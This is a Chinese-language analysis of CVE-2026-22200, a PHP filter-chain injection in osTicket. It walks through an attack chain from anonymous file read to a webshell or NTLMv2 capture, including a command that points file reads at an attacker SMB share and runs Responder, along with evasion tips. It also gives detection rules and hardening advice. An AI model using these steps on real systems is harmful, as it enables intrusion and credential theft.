HackTheBox-Trustfall_Cve-2026-22200

admin 2026-08-18 05:12:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-22200是osTicket工单系统的PHPFilterChain注入漏洞,允许匿名用户通过富文本字段实现任意文件读取,并可结合CVE-2024-2961升级为远程代码执行。攻击链利用mPDF的CSS处理特性,通过php://filter链生成BMP文件头外带文件内容。防御方应升级至v1.18.3或v1.17.7,并监控异常PDF导出请求。 综合评分: 95 文章分类: 漏洞分析,渗透测试,红队,应急响应,WEB安全


配方 F —— Windows 变体(UNC → NTLMv2)

# 文件读取指 UNC,捕获服务账户哈希(Responder 侧)
python osticket_ticket_payload_gen.py -f //10.10.14.5/share/logo.png
sudo responder -I tun0        # 目标渲染 PDF 即触发 SMB 认证
# 拿到哈希后接 hashcat/中继链(呼应 KrbRelay/ntlmrelayx 审计系列)

7. 攻击链与实网落地

匿名访客(无账号/无坐席权限)
  ├─ check.py 判定(补丁 oracle + 匿名面)
&nbsp; ├─ 开工单/回复,注入 <li style="list-style-image:url(php%3a//filter/…)">
&nbsp; │ &nbsp; &nbsp; ├─ 净化层: 双实体 SEP + URL 编码存活
&nbsp; │ &nbsp; &nbsp; └─ 导出 PDF: mPDF 取流 → PHP filter 链 → openat/read → BMP 外带
&nbsp; ├─ 阶段一产出: ost-config.php(DB凭据+SALT) / 任意文件 / /proc/self/maps
&nbsp; │ &nbsp; &nbsp; ├─ C: SALT → 伪造任意工单访问链接 → 工单内PII/凭据收割
&nbsp; │ &nbsp; &nbsp; └─ D: 枚举/爆破补齐访问面
&nbsp; ├─ 阶段二(Linux+老glibc): CNEXT → webshell → 接管 Web 服务账户
&nbsp; └─ 阶段二(Windows): UNC → NTLMv2 → 中继/爆破 → 内网立足

实网注意(授权前提下):工单是留痕系统——每张注入工单都会进对方数据库、可能触发邮件通知真实坐席(评估前确认邮件通道影响);-r 回复现有工单比开新工单更低调;CNEXT 载荷对堆布局敏感,失败重试要换 --padosTicket 常与邮件系统深度绑定,读到 SMTP 凭据后的横向要克制在授权范围内。


8. 冷门但常用的语法与骚操作

冷门但常用:

  1. 1. -f 的三种后缀语法/etc/passwd(纯文本)|file,b64(二进制转 base64 再嵌图)|file,b64zlib(先 zlib 再 base64,大文件必用)——一个逗号后缀就是一条编码管线;
  2. 2. -r 不只是”换个模式”:它切换的是 SEP 实体&#34 → &#38;&#35;&#51;&#52;),因为回复流与新建流的净化轮数不同——净化层级差异被参数化;
  3. 3. php%3a// 的半编码:只编码 :// 中的冒号(%3a),斜杠保留——为的是恰好匹配”osTicket 内置 mPDF 会 URL 解码路径”这一次数,多编码一层就废;
  4. 4. 大写字母全编码quote_with_forced_uppercase 只放行 a-z0-9_.-~——路径里任何大写都会变成 %XX,对抗管线里某处的小写化;
  5. 5. cnext 的命令长度红线 0x140:320 字节内写完落 shell 的命令,超长即失效(源码注释明示)。

骚操作清单:

  1. 1. BMP 画布走私:文件内容扮成 15000×1 的”像素”过审出关——内容审计对图片网开一面;
  2. 2. 逆序 base64 铸造:iconv 字典凭空打印字符,”读文件”的过滤器先”无中生有”一段文件头;
  3. 3. 双实体 SEP 错位解码:净化器与渲染器的解码轮数差,就是引号的生存空间;
  4. 4. 错误信息当版本指纹:登录页返回 “Invalid User Id” 还是 “Invalid username or password”,一个措辞判生死;
  5. 5. 无效表单做侧信道:缺 email 的提交零副作用,却让回显内容出卖净化策略;
  6. 6. 每 2 请求换会话:把会话级限速的存在本身变成绕过指令;
  7. 7. 文件读取的复利:读一个配置文件 = 拿到伪造所有工单访问权的钥匙(SALT);
  8. 8. 45KB 截断的降级解析:碎片 libc 手撸搜 GNU\x00 抠 Build ID——取证思维反向用于武器化;
  9. 9. 离线化 CNEXT:情报与投送分离,载荷生成可审计可回放;
  10. 10. Windows 免溢出路线:一个 UNC 路径换 NTLMv2——不碰堆、不触 glibc,朴素但致命。

9. 检测与加固(蓝军视角)

检测:

  1. 1. 应用日志:工单消息中出现 list-style-image + php%3a / convert.iconv / resource= 特征串(净化前入库的原始值)——最直接的高置信 IOC;
  2. 2. WAF 规则:对 open.php/tickets.php 提交体匹配 php%3a\/\/|convert\.iconv\.|convert\.base64-|\/resource=(注意双重实体与大小写变体);
  3. 3. PHP 层:开启对 php://filter 的使用审计(stream wrapper 非常规调用);生产环境直接 disable_functions 救不了此处,但可在 mPDF 侧限制图像协议白名单(仅 http/https/本地白名单目录);
  4. 4. 行为侧:PDF 导出任务伴随大量 iconv CPU 与堆活动(CNEXT 尝试的特征);Linux 上 glibc ≥2.39 天然免疫 CNEXT 但不免疫文件读取;
  5. 5. Windows 侧:Web 服务账户对内网/外部 SMB 的出站认证告警(UNC 读取特征),配 Outbound SMB 策略阻断;
  6. 6. 检视暴露面open.php/view.php/account.php 的匿名可达性是链的第一环——资产盘点时把”客服门户”当一等资产。

加固(厂商+Horizon3 建议汇总):

  1. 1. 升级至 osTicket ≥ v1.18.3 / v1.17.7(补丁:登录预校验 Validator::is_userid() + 富文本净化剥离内联 url());
  2. 2. 无法立即升级:关闭自注册(Admin Panel → Users)、强制登录开工单禁用线程/邮件 HTML(Admin Panel → System)、对服务器出网做防火墙收紧;
  3. 3. glibc 侧:保持系统补丁(≥2.39 修复 CVE-2024-2961)——文件读取→RCE 的桥就此拆除
  4. 4. 收敛 ost-config.php 等敏感文件权限与 Web 可读性;工单访问令牌(SALT)视为长期密钥管理,泄漏即轮换。

10. 参考链接

  • • 工具仓库:https://github.com/horizon3ai/CVE-2026-22200
  • • Horizon3 官方公告:https://horizon3.ai/attack-research/vulnerabilities/cve-2026-22200/
  • • Horizon3 博客《Ticket to Shell: Exploiting PHP Filters and CNEXT in osTicket》:https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/
  • • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-22200
  • • CVE-2024-2961 原始研究(ambionics/cfreal_ CNEXT):https://github.com/ambionics/cnext-exploits
  • • HITCON CTF 2022 web2pdf(创意源头):https://blog.splitline.tw/hitcon-ctf-2022/
  • • wupco 字符铸造字典:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
  • • osTicket 官方:https://osticket.com
  • • Horizon3 Attack Team:https://twitter.com/Horizon3Attack

本文技术细节均来自对仓库 @ main 分支 8 个脚本的纯静态审计(未执行任何载荷)与上列公开文献交叉验证;仅供授权安全测试与防御研究使用,请遵守当地法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安之家-CyberHomestead 《HackTheBox-Trustfall_Cve-2026-22200》

    评论:0   参与:  0